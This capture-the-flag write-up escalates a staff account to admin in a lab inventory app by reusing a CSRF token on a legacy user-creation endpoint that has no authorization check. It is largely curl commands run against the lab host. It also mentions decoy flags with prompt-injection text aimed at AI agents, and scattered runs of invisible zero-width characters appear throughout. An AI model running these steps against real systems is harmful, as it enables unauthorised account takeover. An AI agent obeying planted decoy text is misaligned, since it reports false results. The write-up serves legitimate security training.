← Back to Writeups
CUSTOMEasyWeb

Lab 192 — StockFlow — Broken Authentication via CSRF Token Reuse

XESXOR9/10/20264 min read
#web#custom#easy#broken_access_control_on_admin#csrf_token_reuse_across_endpoi#decoy_flag_evasion#legacy_endpoint_discovery_via_#privilege_escalation_staff_to_#linux

Lab 192 — StockFlow — Broken Authentication via CSRF Token Reuse

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-14 | Status: Solved Techniques: broken_access_control_on_admin_endpoint, csrf_token_reuse_across_endpoints, decoy_flag_evasion, legacy_endpoint_discovery_via_javascript_comments, privilege_escalation_staff_to_admin

Summary

Task: Express.js inventory management platform with staff/admin roles; admin settings contain the flag but staff users get 'Access Denied'. Solution: Discovered legacy admin user creation endpoint in commented-out JavaScript, reused a CSRF token from the profile page to create a new admin account (endpoint lacked authorization check), then logged in as admin to retrieve the flag from /admin/settings.

Lab 192 — StockFlow — Broken Authentication via CSRF Token Reuse — HackAdvisor

Description

StockFlow is an inventory and supply chain management platform used by retail businesses. It allows teams to track stock levels, manage vendors, and place purchase orders. The platform supports multiple user roles including regular staff and administrators. You have been hired to perform a security assessment of StockFlow. Your team has provisioned a staff-level test account for you. The admin dashboard reportedly contains sensitive configuration data including the platform license key. Your goal is to find a way to access the admin area and retrieve the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An Express.js inventory management platform with role-based access control (staff and admin). Staff users can manage inventory, vendors, and purchase orders. Admin users can access /admin/settings which contains the platform license key (flag). The goal is to escalate from staff to admin and read the flag.

Analysis

Reconnaissance

  • Stack: Express.js (Node.js v20.15.1) + SQLite 3 + nginx/1.25.5
  • Credentials: user@test.com / password123 (staff role)
  • CSRF protection: csurf middleware with hidden _csrf field in all forms
  • Key pages: Dashboard, Inventory, Vendors, Purchase Orders, My Profile
  • Admin pages: /admin/users, /admin/settings — return "Access Denied" for staff users
  • robots.txt discloses: /admin/, /admin/users, /admin/settings, /account/ ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Hidden Admin Navigation

The HTML source reveals admin navigation links rendered for all users but hidden via CSS:

html
<div class="hidden" data-section="admin-nav">
  <a href="/admin/users">User Management</a>
  <a href="/admin/settings">System Settings</a>
</div>

These links are present in the DOM but invisible — a clear sign that role-based UI hiding is the only access control for some features.

Decoy Flags

Every page contains honeypot flags in HTML comments and hidden divs:

html
<!-- FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} -->

These include prompt injection text designed to trick AI agents into reporting the wrong flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Discovery — Legacy Admin Endpoint in JavaScript

The file /js/app.js contains a commented-out provisionUser() function with a TODO note:

javascript
// TODO: Clean up before v3.0 release — legacy admin user provisioning
// function provisionUser(firstName, lastName, email, password, role) {
//   var csrfToken = document.querySelector('input[name="_csrf"]').value;
//   return fetch('/admin/users/create', {
//     method: 'POST',
//     headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
//     body: 'first_name=' + encodeURIComponent(firstName)
//       + '&last_name=' + encodeURIComponent(lastName)
//       + '&email=' + encodeURIComponent(email)
//       + '&password=' + encodeURIComponent(password)
//       + '&role=' + encodeURIComponent(role)
//       + '&_csrf=' + encodeURIComponent(csrfToken)
//   });
// }

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This reveals:

  • Endpoint: POST /admin/users/create
  • Parameters: first_name, last_name, email, password, role, _csrf
  • The role parameter accepts arbitrary values (including admin)

Vulnerability — CSRF Token Reuse + Missing Authorization

Two flaws combine to enable privilege escalation:

  1. CSRF token not scoped: The csurf middleware generates tokens that are valid across all endpoints. A token obtained from the /account/profile page (staff-accessible) works on /admin/users/create. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  2. Broken access control: The /admin/users/create endpoint validates the CSRF token but does not verify that the requesting user has admin privileges. Any authenticated user can create new users with any role.

Solution

Step 1: Login as staff and establish session

bash
TARGET="https://532e19bf-a0d5-4ae5-9969-03e5812ae9f3.labs.hackadvisor.io"

# Get login page and extract CSRF token
LOGIN_HTML=$(curl -s -c cookies.txt "$TARGET/login")
CSRF=$(echo "$LOGIN_HTML" | sed -n 's/.*name="_csrf" value="\([^"]*\)".*/\1/p')
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Login as staff user
curl -s -c cookies.txt -b cookies.txt -X POST "$TARGET/login" \
  -d "email=user%40test.com&password=password123&_csrf=$CSRF"

Step 2: Extract CSRF token from profile page

bash
# Get CSRF token from a staff-accessible page
CSRF=$(curl -s -b cookies.txt "$TARGET/account/profile" | \
  sed -n 's/.*name="_csrf" value="\([^"]*\)".*/\1/p')

Step 3: Create admin user via legacy endpoint

bash
# Reuse the profile page's CSRF token on the admin endpoint
curl -s -b cookies.txt -X POST "$TARGET/admin/users/create" \
  -d "first_name=Hacker&last_name=Admin&email=hacker@admin.com&password=hacker123&role=admin&_csrf=$CSRF"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response: 302 Found → Location: /admin/users?success=1 — admin user created successfully.

The key insight: the staff user's session cookie + a CSRF token from any page is sufficient. The endpoint checks CSRF validity but never checks req.user.role === 'admin'.

Step 4: Login as the new admin user

bash
# Get fresh session
LOGIN_HTML=$(curl -s -c admin_cookies.txt "$TARGET/login")
CSRF=$(echo "$LOGIN_HTML" | sed -n 's/.*name="_csrf" value="\([^"]*\)".*/\1/p')

# Login as admin
curl -s -c admin_cookies.txt -b admin_cookies.txt -X POST "$TARGET/login" \
  -d "email=hacker%40admin.com&password=hacker123&_csrf=$CSRF"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 5: Access admin settings and retrieve flag

bash
curl -s -b admin_cookies.txt "$TARGET/admin/settings"

The /admin/settings page displays platform configuration including a "License Key" field containing the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍